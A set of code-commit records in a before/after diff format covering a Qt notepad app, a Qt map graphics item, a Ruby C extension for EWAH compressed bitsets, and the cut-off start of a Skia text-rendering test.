REQUIRE(!isProperAncestor(&p, &p));\n REQUIRE(!isProperAncestor(&c1, &p));\n REQUIRE(isProperAncestor(&p, &c1));\n REQUIRE(isProperAncestor(&p, &c11));\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"notepad.h\"\n#include \"ui_notepad.h\"\n#include <QFileDialog>\n#include <QFile>\n#include <QMessageBox>\n#include <QTextStream>\n#include <QListWidget>\n#include <QtPrintSupport>\n#include <QListView>\n#include <fileviewmodel.h>\n\n\nNotepad::Notepad(QWidget *parent) :\n QMainWindow(parent),\n ui(new Ui::Notepad)\n{\n \/\/ TODO, not sure where to organize instantiating methods\n \/\/ Temporarily changing to a directory\n working_dir = QDir(\"\/Users\/pybae\/Documents\");\n QStringList files = working_dir.entryList();\n\n ui->setupUi(this);\n\n FileViewModel *fileModel = new FileViewModel(files, 0);\n ui->listView->setModel(fileModel);\n ui->listView->show();\n\n printf(\"%d\\n\", fileModel->rowCount());\n}\n\nNotepad::~Notepad()\n{\n delete ui;\n}\n\n\/\/ A helper method to save a file, given a fileName in the current working directory\nvoid Notepad::saveFile(QString fileName)\n{\n if (!fileName.isEmpty()) {\n QFile file(fileName);\n if (!file.open(QIODevice::WriteOnly)) {\n \/\/ error message\n return;\n } else {\n QTextStream stream(&file);\n stream << ui->mainTextEdit->toPlainText() << \"\\n\";\n stream.flush();\n file.close();\n }\n }\n else {\n printf(\"File does not exist\\n\");\n }\n}\n\n\/\/ Called when the \"New\" option is triggered by C-n or menu\nvoid Notepad::on_actionNew_triggered()\n{\n QString newFileName = QFileDialog::getSaveFileName(this, tr(\"New File\"), working_dir.absolutePath(),\n tr(\"Text Files (*.txt);;C++ Files (*.cpp *.h)\"));\n saveFile(newFileName);\n working_file_name = newFileName;\n}\n\n\/\/ Called when the \"Open\" option is triggered by C-o or menu\nvoid Notepad::on_actionOpen_triggered()\n{\n QString fileName = QFileDialog::getOpenFileName(this, tr(\"Open File\"), working_dir.absolutePath(),\n tr(\"All Files (*.*);;Text Files (*.txt);;RTF Filess(*.rtf);;C++ Files (*.cpp *.h)\"));\n\n if (!fileName.isEmpty()) {\n QFile file(fileName);\n working_file_name = file.fileName();\n\n if (!file.open(QIODevice::ReadOnly)) {\n QMessageBox::critical(this, tr(\"Error\"), tr(\"Could not open file\"));\n return;\n }\n QTextStream in(&file);\n ui->mainTextEdit->setText(in.readAll());\n file.close();\n }\n}\n\n\/\/ Called when the \"Save\" option is triggered by C-s or menu\nvoid Notepad::on_actionSave_triggered()\n{\n saveFile(working_file_name);\n}\n\n\/\/ Called when the \"Save As\" option is triggered by C-S (Ctrl shift s) or menu\nvoid Notepad::on_actionSaveAs_triggered()\n{\n QString fileName = QFileDialog::getSaveFileName(this, tr(\"Save File\"), QString(),\n tr(\"Text Files (*.txt);;C++ Files (*.cpp *.h)\"));\n saveFile(fileName);\n}\n\n\/\/ Called when the \"Print\" option is triggered by C-p or menu\nvoid Notepad::on_actionPrint_triggered()\n{\n\/\/ QPrinter printer;\n\n\/\/ QPrintDialog dialog(&printer, this);\n\/\/ dialog.setWindowTitle(tr(\"Print Document\"));\n\/\/ if (dialog.exec() != QDialog::Accepted) {\n\/\/ return;\n\/\/ }\n}\n\n\/\/ Called when the \"Exit\" option is triggered by C-q or menu\nvoid Notepad::on_actionExit_triggered()\n{\n \/\/ TODO need to check if there are any unsaved buffers\n qApp->quit();\n}\n\n\/\/ Triggered when the mainTextEdit region has its text changed\n\/\/ TODO figure out how frequently this method is called\nvoid Notepad::on_mainTextEdit_textChanged()\n{\n \/\/ Save the current buffer\n \/\/ Notepad::on_actionSave_triggered();\n}\n<commit_msg>Fixed typo<commit_after>#include \"notepad.h\"\n#include \"ui_notepad.h\"\n#include <QFileDialog>\n#include <QFile>\n#include <QMessageBox>\n#include <QTextStream>\n#include <QListWidget>\n#include <QtPrintSupport>\n#include <QListView>\n#include <fileviewmodel.h>\n\n\nNotepad::Notepad(QWidget *parent) :\n QMainWindow(parent),\n ui(new Ui::Notepad)\n{\n \/\/ TODO, not sure where to organize instantiating methods\n \/\/ Temporarily changing to a directory\n working_dir = QDir(\"\/Users\/pybae\/Documents\");\n QStringList files = working_dir.entryList();\n\n ui->setupUi(this);\n\n FileViewModel *fileModel = new FileViewModel(files, 0);\n ui->listView->setModel(fileModel);\n ui->listView->show();\n}\n\nNotepad::~Notepad()\n{\n delete ui;\n}\n\n\/\/ A helper method to save a file, given a fileName in the current working directory\nvoid Notepad::saveFile(QString fileName)\n{\n if (!fileName.isEmpty()) {\n QFile file(fileName);\n if (!file.open(QIODevice::WriteOnly)) {\n \/\/ error message\n return;\n } else {\n QTextStream stream(&file);\n stream << ui->mainTextEdit->toPlainText() << \"\\n\";\n stream.flush();\n file.close();\n }\n }\n else {\n printf(\"File does not exist\\n\");\n }\n}\n\n\/\/ Called when the \"New\" option is triggered by C-n or menu\nvoid Notepad::on_actionNew_triggered()\n{\n QString newFileName = QFileDialog::getSaveFileName(this, tr(\"New File\"), working_dir.absolutePath(),\n tr(\"Text Files (*.txt);;C++ Files (*.cpp *.h)\"));\n saveFile(newFileName);\n working_file_name = newFileName;\n}\n\n\/\/ Called when the \"Open\" option is triggered by C-o or menu\nvoid Notepad::on_actionOpen_triggered()\n{\n QString fileName = QFileDialog::getOpenFileName(this, tr(\"Open File\"), working_dir.absolutePath(),\n tr(\"All Files (*.*);;Text Files (*.txt);;RTF Files(*.rtf);;C++ Files (*.cpp *.h)\"));\n\n if (!fileName.isEmpty()) {\n QFile file(fileName);\n working_file_name = file.fileName();\n\n if (!file.open(QIODevice::ReadOnly)) {\n QMessageBox::critical(this, tr(\"Error\"), tr(\"Could not open file\"));\n return;\n }\n QTextStream in(&file);\n ui->mainTextEdit->setText(in.readAll());\n file.close();\n }\n}\n\n\/\/ Called when the \"Save\" option is triggered by C-s or menu\nvoid Notepad::on_actionSave_triggered()\n{\n saveFile(working_file_name);\n}\n\n\/\/ Called when the \"Save As\" option is triggered by C-S (Ctrl shift s) or menu\nvoid Notepad::on_actionSaveAs_triggered()\n{\n QString fileName = QFileDialog::getSaveFileName(this, tr(\"Save File\"), QString(),\n tr(\"Text Files (*.txt);;C++ Files (*.cpp *.h)\"));\n saveFile(fileName);\n}\n\n\/\/ Called when the \"Print\" option is triggered by C-p or menu\nvoid Notepad::on_actionPrint_triggered()\n{\n\/\/ QPrinter printer;\n\n\/\/ QPrintDialog dialog(&printer, this);\n\/\/ dialog.setWindowTitle(tr(\"Print Document\"));\n\/\/ if (dialog.exec() != QDialog::Accepted) {\n\/\/ return;\n\/\/ }\n}\n\n\/\/ Called when the \"Exit\" option is triggered by C-q or menu\nvoid Notepad::on_actionExit_triggered()\n{\n \/\/ TODO need to check if there are any unsaved buffers\n qApp->quit();\n}\n\n\/\/ Triggered when the mainTextEdit region has its text changed\n\/\/ TODO figure out how frequently this method is called\nvoid Notepad::on_mainTextEdit_textChanged()\n{\n \/\/ Save the current buffer\n \/\/ Notepad::on_actionSave_triggered();\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"PrivateQGraphicsItem.h\"\n\n#include \"MapInfoManager.h\"\n#include \"MapGraphicsScene.h\"\n\n#include <QGraphicsSceneContextMenuEvent>\n#include <QGraphicsSceneMouseEvent>\n\n\nPrivateQGraphicsItem::PrivateQGraphicsItem(PrivateQGraphicsItemParent * user) : user(user)\n{\n this->setZValue(1.0);\n}\n\nQRectF PrivateQGraphicsItem::boundingRect() const\n{\n return this->user->boundingRect();\n}\n\nvoid PrivateQGraphicsItem::paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget)\n{\n painter->save();\n this->user->paint(painter,option,widget);\n painter->restore();\n if (option->state & QStyle::State_Selected)\n {\n const qreal penWidth = 0; \/\/ cosmetic pen\n\n const QColor fgcolor = option->palette.windowText().color();\n const QColor bgcolor( \/\/ ensure good contrast against fgcolor\n fgcolor.red() > 127 ? 0 : 255,\n fgcolor.green() > 127 ? 0 : 255,\n fgcolor.blue() > 127 ? 0 : 255);\n\n painter->setPen(QPen(bgcolor, penWidth, Qt::SolidLine));\n painter->setBrush(Qt::NoBrush);\n const qreal pad = 0.2;\n painter->drawRect(this->boundingRect().adjusted(-pad, -pad, pad, pad));\n\n painter->setPen(QPen(option->palette.windowText(), penWidth, Qt::DashLine));\n painter->setBrush(Qt::NoBrush);\n painter->drawRect(this->boundingRect().adjusted(-pad, -pad, pad, pad));\n }\n}\n\nvoid PrivateQGraphicsItem::contextMenuEvent(QGraphicsSceneContextMenuEvent *event)\n{\n QSharedPointer<MapTileSource> source = MapInfoManager::getInstance()->getMapTileSource();\n if (source.isNull())\n return;\n QGraphicsItem::contextMenuEvent(event);\n\n \/*\n Then we can mangle the coordinates to geographic ones, but we have to mangle it back\n when we're done because this event may be used again\n *\/\n event->setScenePos(source->coordinateFromScenePixel(event->scenePos(),\n this->user->scene()->getZoomLevel()));\n this->user->contextMenuEvent(event);\n event->setScenePos(source->scenePixelFromCoordinate(event->scenePos(),\n this->user->scene()->getZoomLevel()));\n}\n\n\nvoid PrivateQGraphicsItem::mousePressEvent(QGraphicsSceneMouseEvent *event)\n{\n QSharedPointer<MapTileSource> source = MapInfoManager::getInstance()->getMapTileSource();\n if (source.isNull())\n return;\n\n \/\/Send the event to the parent class before we mangle the coordinates\n QGraphicsItem::mousePressEvent(event);\n\n \/*\n Then we can mangle the coordinates to geographic ones, but we have to mangle it back\n when we're done because this event may be used again\n *\/\n event->setScenePos(source->coordinateFromScenePixel(event->scenePos(),\n this->user->scene()->getZoomLevel()));\n this->user->mousePressEvent(event);\n event->setScenePos(source->scenePixelFromCoordinate(event->scenePos(),\n this->user->scene()->getZoomLevel()));\n}\n\n\n\nvoid PrivateQGraphicsItem::mouseReleaseEvent(QGraphicsSceneMouseEvent *event)\n{\n QSharedPointer<MapTileSource> source = MapInfoManager::getInstance()->getMapTileSource();\n if (source.isNull())\n return;\n\n \/\/Send the event to the parent class before we mangle the coordinates\n QGraphicsItem::mouseReleaseEvent(event);\n\n \/*\n Then we can mangle the coordinates to geographic ones, but we have to mangle it back\n when we're done because this event may be used again\n *\/\n event->setScenePos(source->coordinateFromScenePixel(event->scenePos(),\n this->user->scene()->getZoomLevel()));\n this->user->mouseReleaseEvent(event);\n event->setScenePos(source->scenePixelFromCoordinate(event->scenePos(),\n this->user->scene()->getZoomLevel()));\n}\n\n\/\/protected\nQVariant PrivateQGraphicsItem::itemChange(QGraphicsItem::GraphicsItemChange change, const QVariant &value)\n{\n return this->user->itemChange(change,value);\n}\n\n<commit_msg>Temporarily removed selection rectangle padding from PrivateQGraphicsItem. I like the idea of having padding but I need to make it respect different zoom levels before I put it back.<commit_after>#include \"PrivateQGraphicsItem.h\"\n\n#include \"MapInfoManager.h\"\n#include \"MapGraphicsScene.h\"\n\n#include <QGraphicsSceneContextMenuEvent>\n#include <QGraphicsSceneMouseEvent>\n\n\nPrivateQGraphicsItem::PrivateQGraphicsItem(PrivateQGraphicsItemParent * user) : user(user)\n{\n this->setZValue(1.0);\n}\n\nQRectF PrivateQGraphicsItem::boundingRect() const\n{\n return this->user->boundingRect();\n}\n\nvoid PrivateQGraphicsItem::paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget)\n{\n painter->save();\n this->user->paint(painter,option,widget);\n painter->restore();\n\n\n if (option->state & QStyle::State_Selected)\n {\n const qreal penWidth = 0; \/\/ cosmetic pen\n\n const QColor fgcolor = option->palette.windowText().color();\n const QColor bgcolor( \/\/ ensure good contrast against fgcolor\n fgcolor.red() > 127 ? 0 : 255,\n fgcolor.green() > 127 ? 0 : 255,\n fgcolor.blue() > 127 ? 0 : 255);\n\n painter->setPen(QPen(bgcolor, penWidth, Qt::SolidLine));\n painter->setBrush(Qt::NoBrush);\n const qreal pad = 0.0;\n painter->drawRect(this->boundingRect().adjusted(-pad, -pad, pad, pad));\n\n painter->setPen(QPen(option->palette.windowText(), penWidth, Qt::DashLine));\n painter->setBrush(Qt::NoBrush);\n painter->drawRect(this->boundingRect().adjusted(-pad, -pad, pad, pad));\n }\n}\n\nvoid PrivateQGraphicsItem::contextMenuEvent(QGraphicsSceneContextMenuEvent *event)\n{\n QSharedPointer<MapTileSource> source = MapInfoManager::getInstance()->getMapTileSource();\n if (source.isNull())\n return;\n QGraphicsItem::contextMenuEvent(event);\n\n \/*\n Then we can mangle the coordinates to geographic ones, but we have to mangle it back\n when we're done because this event may be used again\n *\/\n event->setScenePos(source->coordinateFromScenePixel(event->scenePos(),\n this->user->scene()->getZoomLevel()));\n this->user->contextMenuEvent(event);\n event->setScenePos(source->scenePixelFromCoordinate(event->scenePos(),\n this->user->scene()->getZoomLevel()));\n}\n\n\nvoid PrivateQGraphicsItem::mousePressEvent(QGraphicsSceneMouseEvent *event)\n{\n QSharedPointer<MapTileSource> source = MapInfoManager::getInstance()->getMapTileSource();\n if (source.isNull())\n return;\n\n \/\/Send the event to the parent class before we mangle the coordinates\n QGraphicsItem::mousePressEvent(event);\n\n \/*\n Then we can mangle the coordinates to geographic ones, but we have to mangle it back\n when we're done because this event may be used again\n *\/\n event->setScenePos(source->coordinateFromScenePixel(event->scenePos(),\n this->user->scene()->getZoomLevel()));\n this->user->mousePressEvent(event);\n event->setScenePos(source->scenePixelFromCoordinate(event->scenePos(),\n this->user->scene()->getZoomLevel()));\n}\n\n\n\nvoid PrivateQGraphicsItem::mouseReleaseEvent(QGraphicsSceneMouseEvent *event)\n{\n QSharedPointer<MapTileSource> source = MapInfoManager::getInstance()->getMapTileSource();\n if (source.isNull())\n return;\n\n \/\/Send the event to the parent class before we mangle the coordinates\n QGraphicsItem::mouseReleaseEvent(event);\n\n \/*\n Then we can mangle the coordinates to geographic ones, but we have to mangle it back\n when we're done because this event may be used again\n *\/\n event->setScenePos(source->coordinateFromScenePixel(event->scenePos(),\n this->user->scene()->getZoomLevel()));\n this->user->mouseReleaseEvent(event);\n event->setScenePos(source->scenePixelFromCoordinate(event->scenePos(),\n this->user->scene()->getZoomLevel()));\n}\n\n\/\/protected\nQVariant PrivateQGraphicsItem::itemChange(QGraphicsItem::GraphicsItemChange change, const QVariant &value)\n{\n return this->user->itemChange(change,value);\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include <ruby.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <errno.h>\n\n#include \"ewah.h\"\n\ntypedef VALUE (ruby_method)(...);\n\ntypedef struct ewah {\n EWAHBoolArray<uword64> *bits;\n} EWAH;\n\nextern \"C\" void ewah_free(EWAH *bits) {\n delete(bits->bits);\n free(bits);\n}\n\nextern \"C\" VALUE ewah_new(VALUE klass) {\n EWAH *b = ALLOC(EWAH);\n b->bits = new EWAHBoolArray<uword64>();\n VALUE bitset = Data_Wrap_Struct(klass, 0, ewah_free, b);\n rb_obj_call_init(bitset, 0, 0);\n return bitset;\n}\n\nextern \"C\" VALUE ewah_init(VALUE self) {\n return self;\n}\n\n\/* Core API *\/\nextern \"C\" VALUE ewah_set(VALUE self, VALUE position) {\n if (position == Qnil) {\n rb_raise(rb_eRuntimeError, \"Position to set not specified\");\n }\n \n EWAH *bitset;\n Data_Get_Struct(self, EWAH, bitset);\n bitset->bits->set(FIX2INT(position));\n \n return self;\n}\n\nextern \"C\" VALUE ewah_each(VALUE self) {\n EWAH *bitset;\n Data_Get_Struct(self, EWAH, bitset);\n \n for(EWAHBoolArray<uword64>::const_iterator i = bitset->bits->begin(); i != bitset->bits->end(); ++i)\n rb_yield(INT2FIX(*i));\n \n return Qnil;\n}\n\nextern \"C\" VALUE ewah_each_word(VALUE self) {\n EWAH *bitset;\n Data_Get_Struct(self, EWAH, bitset);\n \n EWAHBoolArrayIterator<uword64> i = bitset->bits->uncompress();\n \n while(i.hasNext()) {\n rb_yield(INT2FIX(i.next()));\n }\n \n return Qnil;\n}\n\nextern \"C\" VALUE ewah_each_word_sparse(VALUE self) {\n EWAH *bitset;\n Data_Get_Struct(self, EWAH, bitset);\n \n EWAHBoolArraySparseIterator<uword64> i = bitset->bits->sparse_uncompress();\n \n while(i.hasNext()) {\n rb_yield(INT2FIX(i.next()));\n }\n \n return Qnil;\n}\n\nextern \"C\" VALUE ewah_swap(VALUE self, VALUE other) {\n EWAH *bitset;\n EWAH *obitset;\n Data_Get_Struct(self, EWAH, bitset);\n Data_Get_Struct(other, EWAH, obitset);\n \n bitset->bits->swap(*(obitset->bits));\n \n return self;\n}\n\nextern \"C\" VALUE ewah_reset(VALUE self) {\n EWAH *bitset;\n Data_Get_Struct(self, EWAH, bitset);\n bitset->bits->reset();\n return self;\n}\n\n\/* Set Operations *\/\nextern \"C\" VALUE ewah_logical_or(VALUE self, VALUE other) {\n EWAH *bitset;\n EWAH *obitset;\n Data_Get_Struct(self, EWAH, bitset);\n Data_Get_Struct(other, EWAH, obitset);\n \n VALUE newBitset = ewah_new(rb_path2class(\"EwahBitset\"));\n\n EWAH *newBits;\n Data_Get_Struct(newBitset, EWAH, newBits);\n bitset->bits->logicalor(*(obitset->bits), *(newBits->bits));\n \n return newBitset;\n}\n\nextern \"C\" VALUE ewah_logical_and(VALUE self, VALUE other) {\n EWAH *bitset;\n EWAH *obitset;\n Data_Get_Struct(self, EWAH, bitset);\n Data_Get_Struct(other, EWAH, obitset);\n \n VALUE newBitset = ewah_new(rb_path2class(\"EwahBitset\"));\n \n EWAH *newBits;\n Data_Get_Struct(newBitset, EWAH, newBits);\n bitset->bits->logicaland(*(obitset->bits), *(newBits->bits));\n \n return newBitset;\n}\n\nextern \"C\" VALUE ewah_logical_not(VALUE self) {\n EWAH *bitset;\n Data_Get_Struct(self, EWAH, bitset);\n \n VALUE newBitset = ewah_new(rb_path2class(\"EwahBitset\"));\n \n EWAH *newBits;\n Data_Get_Struct(newBitset, EWAH, newBits);\n bitset->bits->logicalnot(*(newBits->bits));\n \n return newBitset;\n}\n\nextern \"C\" VALUE ewah_eq(VALUE self, VALUE other) {\n EWAH *bitset;\n EWAH *obitset;\n Data_Get_Struct(self, EWAH, bitset);\n Data_Get_Struct(other, EWAH, obitset);\n \n if(*(bitset->bits) == *(obitset->bits)) {\n return Qtrue;\n } else {\n return Qfalse;\n }\n}\n\nextern \"C\" VALUE ewah_neq(VALUE self, VALUE other) {\n EWAH *bitset;\n EWAH *obitset;\n Data_Get_Struct(self, EWAH, bitset);\n Data_Get_Struct(other, EWAH, obitset);\n \n if(*(bitset->bits) != *(obitset->bits)) {\n return Qtrue;\n } else {\n return Qfalse;\n }\n}\n\n\/* Information & Serialization *\/\nextern \"C\" VALUE ewah_size_in_bits(VALUE self) {\n EWAH *bitset;\n Data_Get_Struct(self, EWAH, bitset);\n return INT2FIX(bitset->bits->sizeInBits());\n}\n\nextern \"C\" VALUE ewah_size_in_bytes(VALUE self) {\n EWAH *bitset;\n Data_Get_Struct(self, EWAH, bitset);\n return INT2FIX(bitset->bits->sizeInBytes());\n}\n\nextern \"C\" VALUE ewah_to_binary_s(VALUE self) {\n EWAH *bitset;\n Data_Get_Struct(self, EWAH, bitset);\n \n stringstream ss;\n bitset->bits->printout(ss);\n \n return rb_str_new(ss.str().c_str(), ss.str().size());\n}\n\nextern \"C\" VALUE ewah_serialize(VALUE self) {\n EWAH *bitset;\n Data_Get_Struct(self, EWAH, bitset);\n \n stringstream ss;\n bitset->bits->write(ss);\n \n return rb_str_new(ss.str().c_str(), ss.str().size());\n}\n\nextern \"C\" VALUE ewah_deserialize(VALUE self, VALUE bytes) {\n EWAH *bitset;\n Data_Get_Struct(self, EWAH, bitset);\n\n stringstream ss;\n ss.write(RSTRING_PTR(bytes), RSTRING_LEN(bytes));\n bitset->bits->read(ss, true);\n \n return self;\n}\n\nstatic VALUE rb_cC;\nextern \"C\" void Init_ewahbitset() {\n rb_cC = rb_define_class(\"EwahBitset\", rb_cObject);\n rb_define_singleton_method(rb_cC, \"new\", (ruby_method*) &ewah_new, 0);\n rb_define_method(rb_cC, \"initialize\", (ruby_method*) &ewah_init, 0);\n \n rb_define_method(rb_cC, \"set\", (ruby_method*) &ewah_set, 1);\n rb_define_method(rb_cC, \"each\", (ruby_method*) &ewah_each, 0);\n rb_define_method(rb_cC, \"swap\", (ruby_method*) &ewah_swap, 1);\n rb_define_method(rb_cC, \"reset\", (ruby_method*) &ewah_reset, 0);\n \n rb_define_method(rb_cC, \"each_word64\", (ruby_method*) &ewah_each_word, 0);\n rb_define_method(rb_cC, \"each_word64_sparse\", (ruby_method*) &ewah_each_word_sparse, 0);\n \n rb_define_method(rb_cC, \"==\", (ruby_method*) &ewah_eq, 1);\n rb_define_method(rb_cC, \"!=\", (ruby_method*) &ewah_neq, 1);\n \n rb_define_method(rb_cC, \"logical_or\", (ruby_method*) &ewah_logical_or, 1);\n rb_define_method(rb_cC, \"logical_and\", (ruby_method*) &ewah_logical_and, 1);\n rb_define_method(rb_cC, \"logical_not\", (ruby_method*) &ewah_logical_not, 1);\n \n rb_define_method(rb_cC, \"to_binary_s\", (ruby_method*) &ewah_to_binary_s, 0);\n rb_define_method(rb_cC, \"serialize\", (ruby_method*) &ewah_serialize, 0);\n rb_define_method(rb_cC, \"deserialize\", (ruby_method*) &ewah_deserialize, 1);\n rb_define_method(rb_cC, \"size_in_bits\", (ruby_method*) ewah_size_in_bits, 0);\n rb_define_method(rb_cC, \"size_in_bytes\", (ruby_method*) ewah_size_in_bytes, 0);\n}<commit_msg>add to_s<commit_after>#include <ruby.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <errno.h>\n\n#include \"ewah.h\"\n\ntypedef VALUE (ruby_method)(...);\n\ntypedef struct ewah {\n EWAHBoolArray<uword64> *bits;\n} EWAH;\n\nextern \"C\" void ewah_free(EWAH *bits) {\n delete(bits->bits);\n free(bits);\n}\n\nextern \"C\" VALUE ewah_new(VALUE klass) {\n EWAH *b = ALLOC(EWAH);\n b->bits = new EWAHBoolArray<uword64>();\n VALUE bitset = Data_Wrap_Struct(klass, 0, ewah_free, b);\n rb_obj_call_init(bitset, 0, 0);\n return bitset;\n}\n\nextern \"C\" VALUE ewah_init(VALUE self) {\n return self;\n}\n\n\/* Core API *\/\nextern \"C\" VALUE ewah_set(VALUE self, VALUE position) {\n if (position == Qnil) {\n rb_raise(rb_eRuntimeError, \"Position to set not specified\");\n }\n \n EWAH *bitset;\n Data_Get_Struct(self, EWAH, bitset);\n bitset->bits->set(FIX2INT(position));\n \n return self;\n}\n\nextern \"C\" VALUE ewah_each(VALUE self) {\n EWAH *bitset;\n Data_Get_Struct(self, EWAH, bitset);\n \n for(EWAHBoolArray<uword64>::const_iterator i = bitset->bits->begin(); i != bitset->bits->end(); ++i)\n rb_yield(INT2FIX(*i));\n \n return Qnil;\n}\n\nextern \"C\" VALUE ewah_each_word(VALUE self) {\n EWAH *bitset;\n Data_Get_Struct(self, EWAH, bitset);\n \n EWAHBoolArrayIterator<uword64> i = bitset->bits->uncompress();\n \n while(i.hasNext()) {\n rb_yield(INT2FIX(i.next()));\n }\n \n return Qnil;\n}\n\nextern \"C\" VALUE ewah_each_word_sparse(VALUE self) {\n EWAH *bitset;\n Data_Get_Struct(self, EWAH, bitset);\n \n EWAHBoolArraySparseIterator<uword64> i = bitset->bits->sparse_uncompress();\n \n while(i.hasNext()) {\n rb_yield(INT2FIX(i.next()));\n }\n \n return Qnil;\n}\n\nextern \"C\" VALUE ewah_swap(VALUE self, VALUE other) {\n EWAH *bitset;\n EWAH *obitset;\n Data_Get_Struct(self, EWAH, bitset);\n Data_Get_Struct(other, EWAH, obitset);\n \n bitset->bits->swap(*(obitset->bits));\n \n return self;\n}\n\nextern \"C\" VALUE ewah_reset(VALUE self) {\n EWAH *bitset;\n Data_Get_Struct(self, EWAH, bitset);\n bitset->bits->reset();\n return self;\n}\n\n\/* Set Operations *\/\nextern \"C\" VALUE ewah_logical_or(VALUE self, VALUE other) {\n EWAH *bitset;\n EWAH *obitset;\n Data_Get_Struct(self, EWAH, bitset);\n Data_Get_Struct(other, EWAH, obitset);\n \n VALUE newBitset = ewah_new(rb_path2class(\"EwahBitset\"));\n\n EWAH *newBits;\n Data_Get_Struct(newBitset, EWAH, newBits);\n bitset->bits->logicalor(*(obitset->bits), *(newBits->bits));\n \n return newBitset;\n}\n\nextern \"C\" VALUE ewah_logical_and(VALUE self, VALUE other) {\n EWAH *bitset;\n EWAH *obitset;\n Data_Get_Struct(self, EWAH, bitset);\n Data_Get_Struct(other, EWAH, obitset);\n \n VALUE newBitset = ewah_new(rb_path2class(\"EwahBitset\"));\n \n EWAH *newBits;\n Data_Get_Struct(newBitset, EWAH, newBits);\n bitset->bits->logicaland(*(obitset->bits), *(newBits->bits));\n \n return newBitset;\n}\n\nextern \"C\" VALUE ewah_logical_not(VALUE self) {\n EWAH *bitset;\n Data_Get_Struct(self, EWAH, bitset);\n \n VALUE newBitset = ewah_new(rb_path2class(\"EwahBitset\"));\n \n EWAH *newBits;\n Data_Get_Struct(newBitset, EWAH, newBits);\n bitset->bits->logicalnot(*(newBits->bits));\n \n return newBitset;\n}\n\nextern \"C\" VALUE ewah_eq(VALUE self, VALUE other) {\n EWAH *bitset;\n EWAH *obitset;\n Data_Get_Struct(self, EWAH, bitset);\n Data_Get_Struct(other, EWAH, obitset);\n \n if(*(bitset->bits) == *(obitset->bits)) {\n return Qtrue;\n } else {\n return Qfalse;\n }\n}\n\nextern \"C\" VALUE ewah_neq(VALUE self, VALUE other) {\n EWAH *bitset;\n EWAH *obitset;\n Data_Get_Struct(self, EWAH, bitset);\n Data_Get_Struct(other, EWAH, obitset);\n \n if(*(bitset->bits) != *(obitset->bits)) {\n return Qtrue;\n } else {\n return Qfalse;\n }\n}\n\n\/* Information & Serialization *\/\nextern \"C\" VALUE ewah_size_in_bits(VALUE self) {\n EWAH *bitset;\n Data_Get_Struct(self, EWAH, bitset);\n return INT2FIX(bitset->bits->sizeInBits());\n}\n\nextern \"C\" VALUE ewah_size_in_bytes(VALUE self) {\n EWAH *bitset;\n Data_Get_Struct(self, EWAH, bitset);\n return INT2FIX(bitset->bits->sizeInBytes());\n}\n\nextern \"C\" VALUE ewah_to_binary_s(VALUE self) {\n EWAH *bitset;\n Data_Get_Struct(self, EWAH, bitset);\n \n stringstream ss;\n bitset->bits->printout(ss);\n \n return rb_str_new(ss.str().c_str(), ss.str().size());\n}\n\nextern \"C\" VALUE ewah_serialize(VALUE self) {\n EWAH *bitset;\n Data_Get_Struct(self, EWAH, bitset);\n \n stringstream ss;\n bitset->bits->write(ss);\n \n return rb_str_new(ss.str().c_str(), ss.str().size());\n}\n\nextern \"C\" VALUE ewah_deserialize(VALUE self, VALUE bytes) {\n EWAH *bitset;\n Data_Get_Struct(self, EWAH, bitset);\n\n stringstream ss;\n ss.write(RSTRING_PTR(bytes), RSTRING_LEN(bytes));\n bitset->bits->read(ss, true);\n \n return self;\n}\n\nstatic VALUE rb_cC;\nextern \"C\" void Init_ewahbitset() {\n rb_cC = rb_define_class(\"EwahBitset\", rb_cObject);\n rb_define_singleton_method(rb_cC, \"new\", (ruby_method*) &ewah_new, 0);\n rb_define_method(rb_cC, \"initialize\", (ruby_method*) &ewah_init, 0);\n \n rb_define_method(rb_cC, \"set\", (ruby_method*) &ewah_set, 1);\n rb_define_method(rb_cC, \"each\", (ruby_method*) &ewah_each, 0);\n rb_define_method(rb_cC, \"swap\", (ruby_method*) &ewah_swap, 1);\n rb_define_method(rb_cC, \"reset\", (ruby_method*) &ewah_reset, 0);\n \n rb_define_method(rb_cC, \"each_word64\", (ruby_method*) &ewah_each_word, 0);\n rb_define_method(rb_cC, \"each_word64_sparse\", (ruby_method*) &ewah_each_word_sparse, 0);\n \n rb_define_method(rb_cC, \"==\", (ruby_method*) &ewah_eq, 1);\n rb_define_method(rb_cC, \"!=\", (ruby_method*) &ewah_neq, 1);\n \n rb_define_method(rb_cC, \"logical_or\", (ruby_method*) &ewah_logical_or, 1);\n rb_define_method(rb_cC, \"logical_and\", (ruby_method*) &ewah_logical_and, 1);\n rb_define_method(rb_cC, \"logical_not\", (ruby_method*) &ewah_logical_not, 1);\n \n rb_define_method(rb_cC, \"to_s\", (ruby_method*) &ewah_to_binary_s, 0);\n rb_define_method(rb_cC, \"to_binary_s\", (ruby_method*) &ewah_to_binary_s, 0);\n rb_define_method(rb_cC, \"serialize\", (ruby_method*) &ewah_serialize, 0);\n rb_define_method(rb_cC, \"deserialize\", (ruby_method*) &ewah_deserialize, 1);\n rb_define_method(rb_cC, \"size_in_bits\", (ruby_method*) ewah_size_in_bits, 0);\n rb_define_method(rb_cC, \"size_in_bytes\", (ruby_method*) ewah_size_in_bytes, 0);\n}<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#include \"gm.h\"\n#include \"Resources.h\"\n#include \"SkCanvas.h\"\n#include \"SkStream.h\"\n#include \"SkSurface.h\"\n#include \"SkTypeface.h\"\n\nclass DFTextGM : public skiagm::GM {\npublic:\n DFTextGM() {\n this->setBGColor(0xFFFFFFFF);\n }\n\nprotected:\n void onOnceBeforeDraw() override {\n sk_tool_utils::emoji_typeface(&fEmojiTypeface);\n fEmojiText = sk_tool_utils::emoji_sample_text();\n }\n\n SkString onShortName() override {\n SkString name(\"dftext\");\n name.append(sk_tool_utils::platform_os_emoji());\n return name;\n }\n\n SkISize onISize() override {\n return SkISize::Make(1024, 768);\n }\n\n static void rotate_about(SkCanvas* canvas,\n SkScalar degrees,\n SkScalar px, SkScalar py) {\n canvas->translate(px, py);\n canvas->rotate(degrees);\n canvas->translate(-px, -py);\n }\n\n virtual void onDraw(SkCanvas* inputCanvas) override {\n#ifdef 